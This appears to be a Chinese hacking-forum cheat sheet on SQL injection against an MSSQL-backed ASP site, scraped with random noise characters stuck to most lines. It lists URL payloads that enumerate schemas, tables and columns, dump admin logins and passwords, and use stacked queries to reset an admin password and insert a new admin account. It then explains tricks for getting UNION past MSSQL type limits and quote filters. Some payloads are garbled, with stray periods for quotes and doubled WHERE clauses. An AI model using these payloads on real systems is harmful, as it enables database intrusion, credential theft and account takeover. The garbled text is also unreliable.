爆库:
$ i" A. P( I% |2 o: Ahttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--* L+ y6 d' M9 f3 w# ?2 h }
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.1 [5 n6 y) a8 W& a9 W& B8 X
爆下一个库:" n- \: i% [5 |% B* Z6 _" y% P
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
1 B5 C9 k5 E3 v$ i( ~, G: S/ ]! S) i, ^. u
爆表:3 ` \0 J2 ^- Y w$ M+ C; k
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--, p9 A' h$ p5 R* s( h2 n
. g' o, J8 ]; k$ q- ~# C
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.
, p9 j% o% y! v) W9 ^" A; r$ z% S5 m5 [ U( {
爆下一个表
' {5 C* ^! `$ W; t+ c- D; Uhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--1 t/ z7 v( M% G" c1 D
# l: q' E. j3 H' a8 A" i
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--, M& O. Y. w" r7 j! o
; A: w5 W" ^4 X4 W6 z: c Z$ h2 I# Y3 O
1 z% I! O9 m- y7 ]$ l爆字段:1 a# h; a# \; w/ [, z0 u* V! s
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
; Q' e2 e( X; F+ |2 c# U
% C j0 y4 T3 Q1 x. n爆下一个字段
! J. t! w ~! n) m7 Mhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
/ b+ T3 N* |: X/ _5 E# f0 `) }2 G% t M+ E, C& o. D O
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
' k6 u* R1 P1 w1 |6 L* C J& g3 C$ K# Y8 ]# h" E4 C3 L
4 D2 W; q7 |) E, v* U爆字段里的内容
; P( Y+ \; F! L6 x+ \http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--
/ K+ ~9 r6 l7 h0 ]1 E* B2 G7 V$ k* A4 m5 O1 j* V+ V* M) d% b. \
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
* G6 S2 U9 t) F4 G0 V% ^' N2 w$ }9 l
& _7 _5 Y: b9 yhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--# g ~9 j* s) ~ N! V( Z
6 s. m; r" r7 P- ^8 Y& ]2 {
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--
' u, A. w; y& E8 _
5 a& \% X7 z: m& w6 I$ \更新字段里的内容, M6 c9 U1 W* A
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--
( C9 e& R& Y- u3 p- O/ A0 ?2 v2 H6 ]2 F" V! P
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--
9 a- Z2 H4 ?( Y& t1 h: k9 j5 @
3 L1 ~- ~& n; a+ |5 k8 [0 z$ @3 L" Q! b1 W, u! V0 g6 m) j$ W6 A
: \& ], \' Q$ P7 J2 {* E4 J
在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
% F3 y9 f4 g, @ 第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。! G5 x6 C; U: ]0 F
第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。! E, o, F# E+ o1 }
最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。# T9 G1 `' p# C2 f% B$ u5 Z6 Y& A
6 _0 c" Q+ _" T3 w0 T+ { A( [) h& K突了了大部份限制的语句
5 D. H+ \% f v' M. r# f) Q: sand 1=2 union all select char(49),char(50),null,null;--0 I/ N; t1 j" R/ S+ ?
, d- ?# O( j8 J4 }. p3 @2 g
" U( w# k& a0 i' R' h4 F/ }2 dnull也可以正常执行,不过没有回显,不好判断回显的列数。; D- r. s2 P- K) K% M( @
一般union遇到问题都是有text或者ntext字段,image的很少遇到, ^5 ?* d8 \9 m5 [" Z+ b6 J- ]
3 {4 \. C. N$ J
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟# [4 O- l4 N$ V1 i8 J4 ]$ R. h E
+ x( E6 g: s6 s8 p/ M- |) `0 ^- {" t) I# L+ S7 b2 @
|